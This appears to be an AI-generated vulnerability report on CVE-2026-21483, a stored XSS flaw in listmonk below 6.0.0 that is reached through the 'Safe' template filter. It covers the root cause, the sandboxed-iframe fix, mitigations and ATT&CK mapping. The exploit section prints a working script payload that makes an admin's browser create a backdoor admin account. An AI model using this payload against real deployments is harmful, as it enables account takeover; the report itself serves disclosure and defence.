CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2026-21483
CVSS 8.0

Trust Issues: Escalating from Newsletter Editor to God Mode in Listmonk

Alon Barad
Alon Barad
Software Engineer•January 2, 2026•6 min read
PoC Available

Executive Summary (TL;DR)

Listmonk versions prior to 6.0.0 trusted user input a little too much. By abusing the 'Safe' template filter, an attacker with basic campaign editing rights can inject malicious JavaScript. When an administrator previews this campaign, the script executes, effectively handing over the keys to the kingdom.

A critical Stored XSS vulnerability in the popular self-hosted newsletter manager, listmonk, allows low-privileged users to hijack administrative accounts via unsafe template rendering.

The Hook: The Wolf in HTML Clothing

Listmonk is the darling of the self-hosted marketing world. It’s fast, written in Go, and lets you manage massive mailing lists without paying the 'Mailchimp tax.' But like any fortress built on efficiency, it creates a dangerous assumption: that the people inside the walls (your editors and campaign managers) are trustworthy.

In the security world, we call this the 'Soft Center' problem. You harden the perimeter with Nginx, firewalls, and 2FA, but internally, the application code treats authenticated users like royalty. CVE-2026-21483 exposes exactly why this is a bad idea. It turns the simple act of previewing a newsletter—something every admin does before hitting 'Send'—into a suicide mission for your system's integrity.

The vulnerability centers on how listmonk renders HTML. Newsletters are inherently messy HTML beasts. To support them, the system has to allow rich text. But in versions prior to 6.0.0, the mechanism used to render this content failed to distinguish between 'bold text' and 'malicious JavaScript designed to delete your database.'

The Flaw: When 'Safe' Means 'Dangerous'

Root cause analysis often reveals that the most dangerous vulnerabilities are born from good intentions. In Go's html/template package, the default behavior is paranoid. It escapes everything. If you try to output <script>, Go turns it into &lt;script&gt; automatically. This effectively kills XSS by default.

However, developers often need to render raw HTML (for things like bold text, images, or custom newsletter layouts). To bypass Go's paranoia, listmonk implemented a custom template filter, likely named Safe or similar, which casts the string to template.HTML. This tells the Go engine: 'I have checked this, it is safe, just render it.'

[!WARNING] The bug wasn't a complex memory corruption. It was a logic flaw. The application allowed users with campaigns:manage permissions to invoke this Safe filter on arbitrary input without backend sanitization.

The developers essentially handed the keys to the bypass mechanism directly to the users. It’s the digital equivalent of locking your front door but leaving a sledgehammer labeled 'For Breaking Windows' on the front porch.

The Code: Analysis of the Fix

The remediation for this issue in version 6.0.0 was a two-pronged approach, but the most visible change happened in the frontend Vue component. Let's look at the commit 74dc5a01cfbb12cf218cb33ddad8410c53e2e915.

The developers realized that if they couldn't perfectly scrub the HTML on the backend (sanitization is hard), they needed to contain the explosion on the frontend. They modified CampaignPreview.vue to sandbox the preview iframe.

The Vulnerable State: Previously, the preview might have been rendered directly into the DOM or in an unsandboxed iframe. This meant any script running in the preview shared the window context (or origin) of the admin dashboard.

The Fix (Simplified View):

<!-- content/campaigns/CampaignPreview.vue -->
<iframe
  :srcdoc="html"
  sandbox="allow-scripts"
  class="preview-frame"
></iframe>

Notice the sandbox="allow-scripts" attribute. Crucially, they did NOT include allow-same-origin.

This is the kill switch for the exploit. By omitting allow-same-origin, the browser forces the content inside the iframe to be treated as being from a unique, opaque origin. Even if the script executes (because allow-scripts is present), it cannot read the admin's document.cookie or access localStorage. It is effectively trapped in a glass box, screaming at a void.

The Exploit: Crafting the Trojan Horse

Let's put on our black hats. We are an attacker who has compromised a low-level account with campaigns:manage permissions. We want full control. We don't want to just pop an alert box; we want to create a backdoor administrative user.

Our attack vector is the Campaign Body. We create a new campaign and insert a payload that utilizes the vulnerable template rendering.

The Payload:

{{ "<script>\n  fetch('/api/users', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify({\n      username: 'ShadowAdmin',\n      password: 'Password123!',\n      email: 'hacker@example.com',\n      role: 'admin',\n      status: 'enabled'\n    }),\n    credentials: 'include'\n  });\n</script>" | Safe }}

The Execution Flow:

When the Super Admin innocently checks how the newsletter looks on mobile, their browser renders the HTML. The Safe filter strips away the safety rails. The script executes immediately. Because the admin is logged in, the browser automatically attaches their session cookies to the fetch request (credentials: 'include').

The API receives a valid request from a Super Admin to create a new user. It obliges. The attacker can now log out, log back in as ShadowAdmin, and own the infrastructure.

The Impact: More Than Just Email

Why should you panic? Because listmonk isn't just a database of emails; it's a command and control center for communication. An attacker with admin access can do significant damage:

  1. Data Exfiltration: Export the entire subscriber list (names, emails, attributes) for sale on the dark web or for targeted phishing campaigns.
  2. Reputation Nuke: Send a blast email to 100,000 subscribers containing malware, scams, or offensive content, instantly blacklisting your domain's SMTP reputation.
  3. Server Access: In many self-hosted setups, the application might have access to server-level configurations or environment variables containing SMTP credentials (e.g., AWS SES keys).

This is a classic Privilege Escalation vulnerability. We move from a restricted role (Campaign Manager) to a God-tier role (Super Admin) seamlessly. The impact on confidentiality and integrity is total.

The Fix: Closing the Window

If you are running listmonk &lt; 6.0.0, stop reading and update now. The primary fix involves upgrading to version 6.0.0, which introduces backend sanitization (using libraries like bluemonday to scrub HTML before it hits the database) and the frontend sandboxing we analyzed earlier.

Mitigation Strategies:

  • Upgrade: Seriously, just upgrade.
  • Content Security Policy (CSP): If you can't upgrade immediately, deploy a strict CSP header. script-src 'self' would prevent inline scripts from executing, killing the payload. However, this might break parts of the application if it relies on inline scripts itself.
  • Network Segmentation: Ensure your management interface isn't exposed to the public internet without a VPN, though this doesn't stop the insider threat scenario described here.

Lessons Learned: Never blindly trust a template engine's 'safe' or 'raw' output filters. If a user can input data that passes through that filter, you have a vulnerability. Always sanitize on the way in (Input Validation) and sandbox on the way out (Output Encoding/Isolation).

Official Patches

ListmonkRelease v6.0.0 containing security fixes

Fix Analysis (1)

Technical Appendix

CVSS Score
8.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Affected Systems

listmonk < 6.0.0

Affected Versions Detail

ProductAffected VersionsFixed Version
listmonk
listmonk
< 6.0.06.0.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (Stored XSS)
CVSS v3.18.0 (High)
Privileges RequiredLow (campaigns:manage)
User InteractionRequired (Admin views preview)
ImpactAccount Takeover / Privilege Escalation

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1098Account Manipulation
Persistence
CWE-79
Stored Cross-Site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit Resources

Known Exploits & Detection

Manual AnalysisStored XSS via campaign body using 'Safe' template filter.

Vulnerability Timeline

Vulnerability Timeline

Patch Committed
2025-12-31
Public Disclosure & Release
2026-01-02

References & Sources

  • [1]GHSA-jmr4-p576-v565
  • [2]NVD - CVE-2026-21483

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.